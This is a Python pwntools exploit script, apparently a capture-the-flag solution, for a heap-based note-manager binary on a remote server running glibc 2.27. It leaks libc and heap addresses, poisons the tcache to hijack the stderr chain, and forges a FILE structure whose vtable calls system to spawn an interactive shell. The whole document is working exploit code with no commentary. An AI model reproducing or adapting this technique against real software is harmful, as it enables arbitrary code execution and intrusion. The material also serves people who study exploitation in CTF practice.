1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| from pwn import * context(os="linux",arch="amd64",log_level="debug") targetELF="./pwn" libc=ELF("/home/k40/Pwn/glibc-tool/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6") context.terminal=["tmux","splitw","-h"]
io=remote("39.106.48.123",30317)
def Add(idx_,size_,content_): io.sendlineafter("input your choice >>> ",'1') io.sendlineafter("input index: ",str(idx_)) io.sendlineafter("input size: ",str(size_)) io.sendafter("input your note: ",content_)
def Delete(idx_): io.sendlineafter("input your choice >>> ",'4') io.sendlineafter("input index: ",str(idx_))
def Edit(idx_,content_): io.sendlineafter("input your choice >>> ",'2') io.sendlineafter("input index: ",str(idx_)) io.sendafter("input your new note: ",content_)
def Show(idx_,size_): io.sendlineafter("input your choice >>> ",'3') io.sendlineafter("input index: ",str(idx_)) io.recvuntil("now, show the note: ") content_=io.recv(size_) return content_
def MakeFakeFILE(libcBase_,libc_,wide_data_,wide_data_vtable_): Edit(5,b'\x00'*0x68+p64(libcBase_+libc_.symbols["system"])+b'\x00'*0x38) Edit(4,b'\x00'*0x18+p64(0)+b'\x00'*0x10+p64(0)+b'\x00'*0xf8+p64(wide_data_vtable_))
IO_FILE_plus=FileStructure() IO_FILE_plus.flags=0x68732020 IO_FILE_plus._IO_write_ptr=1 IO_FILE_plus._wide_data=wide_data_ IO_FILE_plus.vtable=libcBase_+libc_.symbols["_IO_file_jumps"]-0x540 return bytes(IO_FILE_plus)
Add(0,1280,"AAAAAA") Add(1,16,"12345678") Delete(0) libcReal=u64(Show(0,8).ljust(8,b'\x00')) libcBase=libcReal-0x3ebca0
Add(2,16,"87654321") Add(3,224,"1234") Add(4,312,"5678") Add(5,168,"ABCD") Delete(2) Delete(1)
heapReal=u64(Show(1,8).ljust(8,b'\x00'))
fakeFILEAddr=heapReal+0x20 wide_data=fakeFILEAddr+240 wide_data_vtable=wide_data+0x140
IO_2_1_stderr=libcBase+libc.symbols["_IO_2_1_stderr_"] stderr_chain=IO_2_1_stderr+0x68 Edit(1,p64(stderr_chain-0x8))
Add(6,16,"AAA") Add(7,16,p64(0)+p64(fakeFILEAddr))
fakeFILE=MakeFakeFILE(libcBase,libc,wide_data,wide_data_vtable) Edit(3,fakeFILE)
io.sendlineafter("input your choice >>> ",'5') io.interactive()
|